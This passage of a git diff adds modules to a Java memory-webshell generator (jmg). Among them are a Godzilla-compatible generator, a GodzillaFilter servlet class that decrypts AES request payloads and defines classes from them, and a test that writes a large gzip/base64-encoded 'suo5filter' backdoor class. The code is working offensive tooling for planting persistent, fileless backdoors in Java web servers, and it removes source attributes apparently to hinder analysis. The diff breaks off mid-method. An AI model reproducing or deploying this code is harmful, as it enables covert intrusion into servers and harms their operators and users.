return "{javax.servlet.http.HttpServletResponse response = null;\n" + + "java.util.Map map = (java.util.Map) getFV(getFV($1, \"exchange\"), \"attachments\");\n" + + "Object[] keys = map.keySet().toArray();\n" + + "for (int i = 0; i < keys.length; i++) {\n" + + " Object key = keys[i];\n" + + " if (map.get(key).toString().contains(\"ServletRequestContext\")) {\n" + + " response = (javax.servlet.http.HttpServletResponse) getFV(map.get(key), \"servletResponse\");\n" + + " break;\n" + + " }\n" + + "}\n" + + "return response;}"; + + } +} diff --git a/jmg-core/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java b/jmg-core/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java new file mode 100644 index 0000000..1e1a981 --- /dev/null +++ b/jmg-core/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java @@ -0,0 +1,4 @@ +package org.springframework.web.servlet; + +public interface AsyncHandlerInterceptor { +} diff --git a/jmg-core/src/main/resources/jmg-agent.jar b/jmg-core/src/main/resources/jmg-agent.jar new file mode 100644 index 0000000..53b2a11 Binary files /dev/null and b/jmg-core/src/main/resources/jmg-agent.jar differ diff --git a/jmg-custom/pom.xml b/jmg-custom/pom.xml new file mode 100644 index 0000000..b74377b --- /dev/null +++ b/jmg-custom/pom.xml @@ -0,0 +1,21 @@ + + 4.0.0 + + jmg + java-memshell-generator + ${revision} + + jmg-custom + + + + + jmg + jmg-core + ${revision} + compile + + + + diff --git a/jmg-custom/src/main/java/jmg/custom/generator/CustomGenerator.java b/jmg-custom/src/main/java/jmg/custom/generator/CustomGenerator.java new file mode 100644 index 0000000..474623d --- /dev/null +++ b/jmg-custom/src/main/java/jmg/custom/generator/CustomGenerator.java @@ -0,0 +1,53 @@ +package jmg.custom.generator; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import jmg.core.config.AbstractConfig; +import jmg.core.generator.IShellGenerator; +import jmg.core.util.CommonUtil; + +import javax.servlet.Filter; +import javax.servlet.ServletRequestListener; +import java.io.DataInputStream; +import java.io.File; +import java.io.FileInputStream; + +public class CustomGenerator implements IShellGenerator { + @Override + public void initShell(AbstractConfig config) { + File f; + try { + f = new File(config.getClassFilePath()); + if (!f.exists() || !f.isFile()) { + return; + } + ClassPool classPool = ClassPool.getDefault(); + classPool.insertClassPath(new ClassClassPath(Filter.class)); + classPool.insertClassPath(new ClassClassPath(ServletRequestListener.class)); + classPool.makeInterface("org.springframework.web.servlet.AsyncHandlerInterceptor"); + classPool.makeInterface("org.springframework.web.servlet.HandlerInterceptor"); + String filePath = config.getClassFilePath(); + CtClass ctClass = classPool.makeClass(new DataInputStream(new FileInputStream(filePath))); + config.setShellClassName(ctClass.getName()); + ctClass.detach(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public byte[] makeShell(AbstractConfig config) throws Exception { + initShell(config); + byte[] bytes = CommonUtil.getFileBytes(config.getClassFilePath()); + config.setShellBytes(bytes); + config.setShellBytesLength(bytes.length); + config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); + return bytes; + } + + @Override + public byte[] modifyShell(String className, AbstractConfig config) { + return null; + } +} diff --git a/jmg-custom/src/test/java/test.java b/jmg-custom/src/test/java/test.java new file mode 100644 index 0000000..1397449 --- /dev/null +++ b/jmg-custom/src/test/java/test.java @@ -0,0 +1,8 @@ +import me.gv7.woodpecker.tools.common.FileUtil; +import jmg.core.util.CommonUtil; + +public class test { + public static void main(String[] args) throws Exception { + FileUtil.writeFile("suo5filter.class", CommonUtil.gzipDecompress(CommonUtil.base64Decode("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"))); + } +} diff --git a/jmg-docs/README_EN.md b/jmg-docs/README_EN.md new file mode 100644 index 0000000..4d94406 --- /dev/null +++ b/jmg-docs/README_EN.md @@ -0,0 +1 @@ +todo \ No newline at end of file diff --git a/jmg-docs/img/gui.png b/jmg-docs/img/gui.png new file mode 100644 index 0000000..4171168 Binary files /dev/null and b/jmg-docs/img/gui.png differ diff --git a/jmg-godzilla/pom.xml b/jmg-godzilla/pom.xml new file mode 100644 index 0000000..40c784e --- /dev/null +++ b/jmg-godzilla/pom.xml @@ -0,0 +1,21 @@ + + 4.0.0 + + jmg + java-memshell-generator + ${revision} + + jmg-godzilla + + + + + jmg + jmg-core + ${revision} + compile + + + + diff --git a/jmg-godzilla/src/main/java/jmg/godzilla/generator/GodzillaGenerator.java b/jmg-godzilla/src/main/java/jmg/godzilla/generator/GodzillaGenerator.java new file mode 100644 index 0000000..2a5e2a5 --- /dev/null +++ b/jmg-godzilla/src/main/java/jmg/godzilla/generator/GodzillaGenerator.java @@ -0,0 +1,67 @@ +package jmg.godzilla.generator; + +import javassist.ClassClassPath; +import javassist.CtClass; +import jmg.godzilla.util.ShellUtil; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.IShellGenerator; +import jmg.core.util.CommonUtil; +import jmg.core.util.JavassistUtil; +import jmg.core.util.ResponseUtil; +import me.gv7.woodpecker.tools.common.FileUtil; + +public class GodzillaGenerator implements IShellGenerator { + + @Override + public void initShell(AbstractConfig config) { + if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6)); + if (config.getKey() == null) config.setKey(CommonUtil.genRandomLengthString(6)); + } + + @Override + public byte[] makeShell(AbstractConfig config) throws Exception { + initShell(config); + String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); + String shellClassName = ShellUtil.getShellClassName(shellName); + byte[] bytes = modifyShell(shellClassName, config); + config.setShellBytes(bytes); + config.setShellBytesLength(bytes.length); + config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); + return bytes; + } + + @Override + public byte[] modifyShell(String className, AbstractConfig config) { + byte[] bytes = new byte[0]; + try { + pool.insertClassPath(new ClassClassPath(GodzillaGenerator.class)); + CtClass ctClass = pool.getCtClass(className); + // lambda 表达式 + if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) { + ctClass.getClassFile().setVersionToJava5(); + } + JavassistUtil.addStaticFieldIfNotNull(ctClass, "pass", config.getPass()); + JavassistUtil.addStaticFieldIfNotNull(ctClass, "key", CommonUtil.getMd5(config.getKey()).substring(0, 16)); + + if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) { + JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); + JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); + } + JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); + + if (config.getShellType().equals(Constants.SHELL_LISTENER)) { + String methodBody = ResponseUtil.getMethodBody(config.getServerType()); + JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); + } + + JavassistUtil.removeSourceFileAttribute(ctClass); + bytes = ctClass.toBytecode(); + ctClass.detach(); + } catch (Exception e) { + e.printStackTrace(); + } + return bytes; + } + +} diff --git a/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaFilter.java b/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaFilter.java new file mode 100755 index 0000000..226018a --- /dev/null +++ b/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaFilter.java @@ -0,0 +1,139 @@ +package jmg.godzilla.memshell; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.math.BigInteger; +import java.security.MessageDigest; +import java.util.UUID; + + +public class GodzillaFilter extends ClassLoader implements Filter { + + public static String key; + public static String pass; + public static String md5; + + public String headerName; + + public String headerValue; + + + static { + md5 = md5(pass + key); + } + + public GodzillaFilter() { + } + + public GodzillaFilter(ClassLoader z) { + super(z); + md5 = md5(pass + key); + } + + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + public static String md5(String s) 